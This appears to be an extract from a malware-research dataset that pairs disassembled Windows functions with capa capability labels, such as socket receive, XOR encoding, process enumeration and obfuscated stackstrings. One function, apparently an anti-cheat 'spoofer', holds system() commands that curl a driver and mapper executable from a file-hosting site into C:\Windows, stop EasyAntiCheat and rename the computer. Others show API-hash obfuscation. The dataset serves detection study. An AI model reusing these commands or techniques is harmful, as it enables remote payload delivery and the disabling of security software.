joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400a22b0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x1400e30a0]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x1400a2345
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x1400a23a6
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.14007c9e0
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400b5bb0
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x1400a2461
sub ecx, 1
je 0x1400a24d4
sub ecx, 1
je 0x1400a2410
cmp ecx, 1
je 0x1400a23f3
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x1400d06a0]
call fcn.14007c9e0
jmp 0x1400a24d4
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.1400a1fe0
test eax, eax
je 0x1400a24d4
jmp 0x1400a237a
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x1400a24d4
sub rax, rsi
cmp rax, rbp
jae 0x1400a24d4
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.14007cb60
jmp 0x1400a24d4
cmp r8d, 4
jle 0x1400a24d4
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x1400a24d4
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.14007c900
mov esi, eax
test eax, eax
je 0x1400a24b3
mov edx, 5
mov rcx, rbx
call fcn.1400a2fa0
mov eax, esi
jmp 0x1400a237a
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.14008b3d0
mov rcx, r14
call fcn.14008b6b0
test eax, eax
je 0x1400a2378
mov edx, 5
mov rcx, rbx
call fcn.1400a2fa0
mov eax, Ordinal_46
jmp 0x1400a237a
Function at 0x1400b5270
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [str.lp_v_]
mov rdi, rax
test rax, rax
jne 0x1400b52b2
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400b52f9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400b5352
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400b5310
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400b5393
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1400ca232]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1400ca233]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400b5360
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1400b53c8
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400b544c
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x1400b544c
dec r8
sub rdx, 1
jne 0x1400b5432
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x1400b6c7c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400b6cc6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400b6cc6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400b6cc6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400b6cc6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400b6cc6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400b6cc8
xor al, al
add rsp, 0x28
ret
Function at 0x140001070
Capabilities:
Delete file
Execute command
Set console window title
Terminate process

Disassembly:
sub rsp, 0x38
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x28], rax
lea rcx, str.TechWare.cc_free_temp
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rcx, str.___Welcome_to_TechWare.cc_free_temp_spoofer_n_n
call fcn.140001010
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str._1__Temp_Spoof_Device_n_2__Exit_n
call fcn.140001010
lea rcx, str.Please_Choose_your_Choice_:
call fcn.140001010
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rsp + 0x20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, dword [rsp + 0x20]
sub ecx, 1
je 0x1400010f7
cmp ecx, 1
je 0x1400011dd
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140001210
add rsp, 0x38
ret
lea rcx, [0x140003328]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__file.garden_ZmjTz3bckDoXwoZT_driver.sys__o_C:Windowsdriver.sys___silent
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__file.garden_ZmjTz3bckDoXwoZT_Mapper.exe__o_C:WindowsMapper.exe___silent
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str._n_n_____Click_Any_Key_To_Temp_Spoof_
call fcn.140001010
lea rcx, str.pause__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x12c
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str._n_n_____Cleaning_Hardware...
call fcn.140001010
lea rcx, str.sc_stop_EasyAntiCheat__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_EasyAntiCheat.sys__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str._n_n_____Spoofing_Pc_Identifiers...
call fcn.140001010
lea rcx, str.C:Windowslauncher.bat__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.wmic_computersystem_where_name_computername__call_rename_random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_spoof.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windowsdriver.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsMapper.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str._n_n_n_____Done_temp_Spoofing____n_n
call fcn.140001010
lea rcx, str.wmic_baseboard_get_serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140003328]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x140001ad0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b1a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b1a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b1a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b1a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b1a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b1c
xor al, al
add rsp, 0x28
ret
Function at 0x180004860
Capabilities:
Encode data using xor
Hash data using murmur2

Disassembly:
push rdi
sub rsp, 0x40
mov r8, rcx
movsxd r10, edx
xor eax, eax
mov r9d, edx
mov ecx, 0x40
lea rdi, [rsp]
rep stosb byte [rdi], al
mov rdi, r10
lea rcx, [rsp]
shr rdi, 3
test rdi, rdi
je 0x1800048a4
nop dword [rax]
mov rax, qword [r8]
add r8, 8
mov qword [rcx], rax
add rcx, 8
sub rdi, 1
jne 0x180004890
mov rdx, r10
and edx, 7
je 0x1800048c2
sub rcx, r8
nop
movzx eax, byte [r8]
mov byte [rcx + r8], al
lea r8, [r8 + 1]
sub rdx, 1
jne 0x1800048b0
xor r8d, r8d
test r9d, r9d
jle 0x1800048e9
mov edx, r8d
nop dword [rax]
movzx ecx, byte [rsp + rdx]
lea eax, [rcx - 0x41]
cmp al, 0x19
ja 0x1800048e1
add cl, 0x20
mov byte [rsp + rdx], cl
inc rdx
cmp rdx, r10
jl 0x1800048d0
lea rdx, [rsp]
mov r11d, r9d
mov r10d, 0xb801fcda
cmp r9d, 4
jl 0x180004937
mov rdi, r9
shr rdi, 2
mov eax, edi
neg eax
lea r9d, [r9 + rax*4]
nop dword [rax + rax]
imul eax, dword [rdx], 0x5bd1e995
add rdx, 4
imul r10d, r10d, 0x5bd1e995
mov ecx, eax
shr ecx, 0x18
xor ecx, eax
imul ecx, ecx, 0x5bd1e995
xor r10d, ecx
sub rdi, 1
jne 0x180004910
sub r9d, 1
je 0x18000495c
sub r9d, 1
je 0x180004952
cmp r9d, 1
jne 0x180004962
movzx r8d, byte [rdx + 2]
shl r8d, 0x10
movzx eax, byte [rdx + 1]
shl eax, 8
xor r8d, eax
movzx eax, byte [rdx]
xor r8d, eax
imul ecx, r8d, 0x5bd1e995
imul edi, r11d, 0x5bd1e995
mov eax, ecx
shr eax, 0x18
xor eax, ecx
imul ecx, eax, 0x5bd1e995
imul eax, r10d, 0x5bd1e995
xor ecx, eax
mov eax, edi
shr eax, 0x18
xor eax, edi
imul edx, ecx, 0x5bd1e995
imul eax, eax, 0x5bd1e995
xor edx, eax
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
add rsp, 0x40
pop rdi
ret

Function at 0x180004f20
Capabilities:
Encode data using xor

Disassembly:
mov r8, rdx
mov eax, 0xffffffff
mov r9d, 0x216
nop
movzx ecx, byte [r8]
lea r8, [r8 + 1]
xor eax, ecx
mov ecx, eax
shr ecx, 1
mov edx, ecx
xor edx, 0x82f63b78
and al, 1
cmove edx, ecx
mov eax, edx
shr eax, 1
mov ecx, eax
xor ecx, 0x82f63b78
and dl, 1
cmove ecx, eax
mov eax, ecx
shr eax, 1
mov edx, eax
xor edx, 0x82f63b78
and cl, 1
cmove edx, eax
mov eax, edx
shr eax, 1
mov ecx, eax
xor ecx, 0x82f63b78
and dl, 1
cmove ecx, eax
mov eax, ecx
shr eax, 1
mov edx, eax
xor edx, 0x82f63b78
and cl, 1
cmove edx, eax
mov eax, edx
shr eax, 1
mov ecx, eax
xor ecx, 0x82f63b78
and dl, 1
cmove ecx, eax
mov eax, ecx
shr eax, 1
mov edx, eax
xor edx, 0x82f63b78
and cl, 1
cmove edx, eax
mov ecx, edx
shr ecx, 1
mov eax, ecx
xor eax, 0x82f63b78
and dl, 1
cmove eax, ecx
sub r9, 1
jne 0x180004f30
not eax
ret
Function at 0x180011be0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x10], rdx
push rdi
sub rsp, 0x250
mov rbx, qword [rcx + 8]
mov edx, 0xf
mov r8d, 0xd6e51ba7
mov rsi, rcx
lea r9d, [rdx + 0x4a]
call fcn.180004640
mov r9d, 2
xor r8d, r8d
mov rdx, 0xfffffffffffffde6
mov rcx, rbx
call rax
test eax, eax
je 0x180011d92
mov rbx, qword [rsi + 8]
mov edx, 0xf
mov r8d, 0x55f5048a
lea r9d, [rdx + 0x5a]
call fcn.180004640
mov edi, 0x216
mov qword [rsp + 0x20], 0
mov r8d, edi
lea r9, [rsp + 0x268]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call rax
test eax, eax
je 0x180011d92
cmp dword [rsp + 0x268], edi
jne 0x180011d92
mov rbx, qword [rsi + 8]
mov edx, 0xf
mov r8d, 0x55f5048a
lea r9d, [rdx + 0x5a]
call fcn.180004640
lea r9, [rsp + 0x268]
mov qword [rsp + 0x20], 0
mov r8d, 4
lea rdx, [rsp + 0x260]
mov rcx, rbx
call rax
test eax, eax
je 0x180011d92
cmp dword [rsp + 0x268], 4
jne 0x180011d92
lea r8, [rsp + 0x30]
mov eax, 0xffffffff
nop dword [rax + rax]
movzx ecx, byte [r8]
lea r8, [r8 + 1]
xor eax, ecx
mov ecx, eax
shr ecx, 1
mov edx, ecx
xor edx, 0x82f63b78
and al, 1
cmove edx, ecx
mov eax, edx
shr eax, 1
mov ecx, eax
xor ecx, 0x82f63b78
and dl, 1
cmove ecx, eax
mov eax, ecx
shr eax, 1
mov edx, eax
xor edx, 0x82f63b78
and cl, 1
cmove edx, eax
mov eax, edx
shr eax, 1
mov ecx, eax
xor ecx, 0x82f63b78
and dl, 1
cmove ecx, eax
mov eax, ecx
shr eax, 1
mov edx, eax
xor edx, 0x82f63b78
and cl, 1
cmove edx, eax
mov eax, edx
shr eax, 1
mov ecx, eax
xor ecx, 0x82f63b78
and dl, 1
cmove ecx, eax
mov eax, ecx
shr eax, 1
mov edx, eax
xor edx, 0x82f63b78
and cl, 1
cmove edx, eax
mov ecx, edx
shr ecx, 1
mov eax, ecx
xor eax, 0x82f63b78
and dl, 1
cmove eax, ecx
sub rdi, 1
jne 0x180011ce0
not eax
cmp dword [rsp + 0x260], eax
je 0x180011d92
lea eax, [rdi + 1]
jmp 0x180011d94
xor eax, eax
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x18001da80
Capabilities:
Create thread
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
mov qword [rsp + 0x20], rbp
push rdi
sub rsp, 0x30
mov rdi, r8
mov rbp, rcx
cmp edx, 1
jne 0x18001db5e
test r8, r8
je 0x18001daf6
mov qword [rsp + 0x40], rbx
mov rcx, r8
mov qword [rsp + 0x50], rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rdx, eax
lea rbx, [rdx*2 + 2]
mov rcx, rbx
call fcn.180024d78
mov r8, rbx
xor edx, edx
mov rcx, rax
mov rsi, rax
call fcn.180022ac0
mov rbx, qword [rsp + 0x40]
mov qword [0x18003ef50], rsi
test rsi, rsi
je 0x18001daf1
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rsi, qword [rsp + 0x50]
call fcn.180003560
test eax, eax
je 0x18001db5e
mov ecx, 0xf4240
mov dword [rsp + 0x48], 0xf4240
call fcn.180024d78
mov r8d, dword [rsp + 0x48]
lea r9, [rsp + 0x48]
mov rdx, rax
mov qword [0x18003ef58], rax
mov ecx, 5
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
test eax, eax
js 0x18001db5e
xor eax, eax
lea r8, [0x18001c930]
mov qword [rsp + 0x28], rax
mov r9, rbp
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rbp, qword [rsp + 0x58]
mov eax, 1
add rsp, 0x30
pop rdi
ret
Function at 0x180020030
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov edx, 0xf
mov r8d, 0xa86f8bb2
mov rbx, rcx
lea r9d, [rdx - 1]
call fcn.180004640
xor edx, edx
lea ecx, [rdx + 2]
call rax
mov rdi, rax
test rax, rax
je 0x180020220
mov dword [rsp + 0x40], 0x238
mov r9d, 0xd
mov r8d, 0x5e57b014
jmp 0x1800201ea
mov byte [rsp + 0x20], 0
mov byte [rsp + 0x21], 9
mov byte [rsp + 0x22], 0x40
mov byte [rsp + 0x23], 0xf
mov byte [rsp + 0x24], 0x40
mov byte [rsp + 0x25], 0x56
mov byte [rsp + 0x26], 0x40
mov byte [rsp + 0x27], 0x3a
mov byte [rsp + 0x28], 0x40
mov byte [rsp + 0x29], 0x4f
mov byte [rsp + 0x2a], 0x40
mov byte [rsp + 0x2b], 0x64
mov byte [rsp + 0x2c], 0x40
mov byte [rsp + 0x2d], 9
mov byte [rsp + 0x2e], 0x40
mov byte [rsp + 0x2f], 0x64
mov byte [rsp + 0x30], 0x40
mov byte [rsp + 0x31], 5
mov byte [rsp + 0x32], 0x40
mov byte [rsp + 0x33], 9
mov byte [rsp + 0x34], 0x40
mov byte [rsp + 0x35], 0xf
mov byte [rsp + 0x36], 0x40
mov byte [rsp + 0x37], 9
mov byte [rsp + 0x38], 0x40
mov byte [rsp + 0x39], 0x40
mov byte [rsp + 0x3a], 0x40
movzx eax, byte [rsp + 0x21]
movzx eax, byte [rsp + 0x20]
test al, al
jne 0x180020183
xor r8d, r8d
nop dword [rax + rax]
movzx ecx, byte [rsp + r8 + 0x21]
mov eax, 0x40
sub eax, ecx
lea ecx, [rax + rax*8]
mov eax, 0x81020409
add ecx, ecx
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + r8 + 0x21], cl
inc r8
cmp r8, 0x1a
jb 0x180020130
mov edx, 0xf
mov r8d, 0xcd7328ca
lea r9d, [rdx + 0x42]
call fcn.180004640
lea rdx, [rsp + 0x21]
lea rcx, [rsp + 0x6c]
call rax
test eax, eax
jne 0x1800201de
lea ecx, [rax + 0x18]
call fcn.180024d78
xor ecx, ecx
mov qword [rax], rcx
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rcx
test rax, rax
je 0x180020206
mov ecx, dword [rsp + 0x48]
mov dword [rax], ecx
mov rcx, qword [rbx + 8]
mov qword [rax + 0x10], rcx
mov rcx, qword [rbx + 8]
mov qword [rcx], rax
add rax, 8
mov qword [rbx + 8], rax
mov r9d, 0xc
mov r8d, 0xc9a81ce0
mov edx, 0xf
call fcn.180004640
lea rdx, [rsp + 0x40]
mov rcx, rdi
call rax
test eax, eax
jne 0x180020090
mov r9d, 0x5b
mov r8d, 0xca528872
lea edx, [r9 - 0x4c]
call fcn.180004640
mov rcx, rdi
call rax
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x1400b7cd0]
mov dword [rax], 1
mov rax, qword [0x1400b7ce0]
mov dword [rax], 1
mov rax, qword [0x1400b7cf0]
mov dword [rax], 1
mov rax, qword [0x1400b7c70]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x14001c6f0
Capabilities:
Query environment variable

Disassembly:
push r15
mov eax, 0x10088
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.140095a90
sub rsp, rax
xor edx, edx
mov rbp, rcx
xor ecx, ecx
mov word [rsp + 0x80], dx
lea r15, [rsp + 0x30]
movzx eax, byte [rbp]
mov word [rsp + 0x30], cx
test al, al
je 0x14001c7b5
xor edi, edi
lea r15, [rsp + 0x30]
lea r14, [rsp + 0x2a]
mov r12d, 0x28
lea r13, [rsp + 0x2c]
nop dword [rax]
mov rsi, r12
mov r8d, 2
mov rdx, r14
mov rcx, r13
sub rsi, rdi
mov byte [rsp + 0x2a], al
lea rbx, [r15 + rdi*2]
mov byte [rsp + 0x2b], 0
call sub.msvcrt.dll_mbstowcs
cmp rax, 1
jne 0x1400a699e
cmp word [r15 + rdi*2], 0
movzx eax, word [rsp + 0x2c]
je 0x14001c796
nop dword [rax + rax]
add rbx, 2
sub rsi, 1
cmp word [rbx], 0
jne 0x14001c788
test rsi, rsi
je 0x1400a699e
mov word [rbx], ax
add rdi, 1
xor eax, eax
mov word [rbx + 2], ax
movzx eax, byte [rbp + rdi]
test al, al
jne 0x14001c748
lea rbx, [rsp + 0x80]
mov r8d, 0x10000
mov rcx, r15
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea edx, [rax - 1]
xor eax, eax
cmp edx, 0xffff
ja 0x14001c7e4
mov rcx, rbx
call sub.msvcrt.dll__wcsdup
add rsp, 0x10088
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
mov rax, qword [8]
ud2

Function at 0x14001c800
Capabilities:
Set environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x88
movzx eax, byte [rcx]
mov qword [rsp + 0xd8], rdx
xor edx, edx
mov rbp, rcx
lea r15, [rsp + 0x30]
mov word [rsp + 0x30], dx
test al, al
je 0x14001c8bd
xor edi, edi
lea r15, [rsp + 0x30]
lea r14, [rsp + 0x2a]
mov r12d, 0x28
lea r13, [rsp + 0x2c]
nop dword [rax]
mov rsi, r12
mov r8d, 2
mov rdx, r14
mov rcx, r13
sub rsi, rdi
mov byte [rsp + 0x2a], al
lea rbx, [r15 + rdi*2]
mov byte [rsp + 0x2b], 0
call sub.msvcrt.dll_mbstowcs
cmp rax, 1
jne 0x1400a69a4
cmp word [r15 + rdi*2], 0
movzx eax, word [rsp + 0x2c]
je 0x14001c89e
nop dword [rax + rax]
add rbx, 2
sub rsi, 1
cmp word [rbx], 0
jne 0x14001c890
test rsi, rsi
je 0x1400a69a4
mov word [rbx], ax
add rdi, 1
xor eax, eax
mov word [rbx + 2], ax
movzx eax, byte [rbp + rdi]
test al, al
jne 0x14001c850
mov rdx, qword [rsp + 0xd8]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
nop
add rsp, 0x88
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret